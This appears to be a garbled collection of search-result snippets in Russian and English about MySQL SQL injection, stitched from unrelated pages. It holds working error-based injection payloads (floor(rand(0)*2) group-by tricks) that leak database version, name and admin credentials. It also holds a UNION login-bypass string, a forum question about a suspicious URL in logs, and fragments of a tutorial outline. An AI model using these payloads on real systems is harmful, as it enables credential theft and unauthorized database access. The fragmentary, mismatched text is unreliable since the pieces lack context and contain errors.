x group by concat(version(),floor(rand(0)*2)))-- (в некоторых случаях требуется) например колонки типа VARCHAR и размерностью >153 script.php?par=1 or (select count(*)from(select 1 union select 2 union select 3)x group by concat...
So_buy+and%28SELECT+1+from%28SELECT+count(*),concat((select+%28SELECT+concat%280X7E%2C0X27%2CDATABASE(),0X27%2C0X7E))+from+
SELECT id, login, pass, priv FROM user WEHRE name = '*'. login = ' UNION SELECT 1, 'admin', md5('1234'), 1
AND(SELECT COUNT(*) FROM (SELECT 1 UNION SELECT null UNION SELECT !1)x GROUP by CONCAT((SELECT version() FROM
I'm seeing a weird url repeatedly in my logs and I'm wondering if someone is able to understand what this user was attempting to do. I'm a little familiar with the basics of MySQL, however...
and(select 1 from(select count(*),concat((select (select concat(0x7e,0x27,cast(version() as char),0x27,0x7e)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1. Now trying this syntax in our site.
Результаты поиска по запросу (SELECT 2024 FROM(SELECT COUNT
union select 2 union select 3)a group by x limit 1)
...id=66+and+(select+1+from+(select+count(*),concat((select(select+concat(cast(concat(0x7e,user,0x7e,pass)+as+char),0x7e))+from+admin+limit+0,1),floor(rand(0)*2))x.
1.3 Использование UNION + group_concat(). 1.4 Экранирование хвоста запроса. 1.5 Расщепление SQL-запроса.